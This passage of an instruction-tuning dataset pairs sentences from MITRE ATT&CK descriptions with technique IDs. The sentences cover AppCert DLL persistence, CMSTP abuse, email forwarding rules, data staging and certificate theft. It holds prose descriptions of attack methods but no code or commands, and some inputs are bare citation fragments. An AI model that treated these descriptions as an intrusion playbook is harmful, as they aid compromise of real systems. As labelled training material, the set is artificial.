victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes.", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code>", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>.", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may supply CMSTP.exe with INF files infected with malicious commands.", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may supply CMSTP.exe with INF files infected with malicious commands. ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Twitter CMSTP Usage Jan 2018)", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Twitter CMSTP Usage Jan 2018) ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers.", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Twitter CMSTP Jan 2018)", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Twitter CMSTP Jan 2018) ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSitPros CMSTP Aug 2017)", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSitPros CMSTP Aug 2017) ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "output": "T1191", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) ### Response: T1191."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies.", "output": "T1188", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To disguise the source of malicious traffic, adversaries may chain together multiple proxies. ### Response: T1188."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy.", "output": "T1188", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. ### Response: T1188."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", "output": "T1188", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. ### Response: T1188."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target user email to collect sensitive information.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target user email to collect sensitive information. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can collect or forward email from mail servers or clients.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can collect or forward email from mail servers or clients. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may setup email forwarding rules to collect sensitive information.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may setup email forwarding rules to collect sensitive information. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018)", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules)", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These rules may be created through a local email application, a web interface, or by command-line interface.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These rules may be created through a local email application, a web interface, or by command-line interface. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules) ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023)", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives.", "output": "T1114.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ### Response: T1114.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration.", "output": "T1074.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. ### Response: T1074.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).", "output": "T1074.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). ### Response: T1074.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", "output": "T1074.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. ### Response: T1074.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)", "output": "T1074.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021) ### Response: T1074.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration.", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration.", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection. ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may stage collected data in a central location or directory prior to Exfiltration.", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may stage collected data in a central location or directory prior to Exfiltration. ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration.", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection. ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources.", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal or forge certificates used for authentication to access remote systems or resources. ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Digital certificates are often used to sign and encrypt messages and/or files.", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Digital certificates are often used to sign and encrypt messages and/or files. ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Certificates are also used as authentication material.", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Certificates are also used as authentication material. ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation:", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "O365 Blog Azure AD Device IDs)(Citation:", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: O365 Blog Azure AD Device IDs)(Citation: ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft AD CS Overview)", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft AD CS Overview) ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authentication certificates can be both stolen and forged.", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authentication certificates can be both stolen and forged. ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation:", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation:", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA).", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This enrollment process defines various settings and permissions associated with the certificate.", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This enrollment process defines various settings and permissions associated with the certificate. ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned) ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008).", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate.", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets.", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authentication certificates can also be stolen and forged for machine accounts.", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authentication certificates can also be stolen and forged for machine accounts. ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the 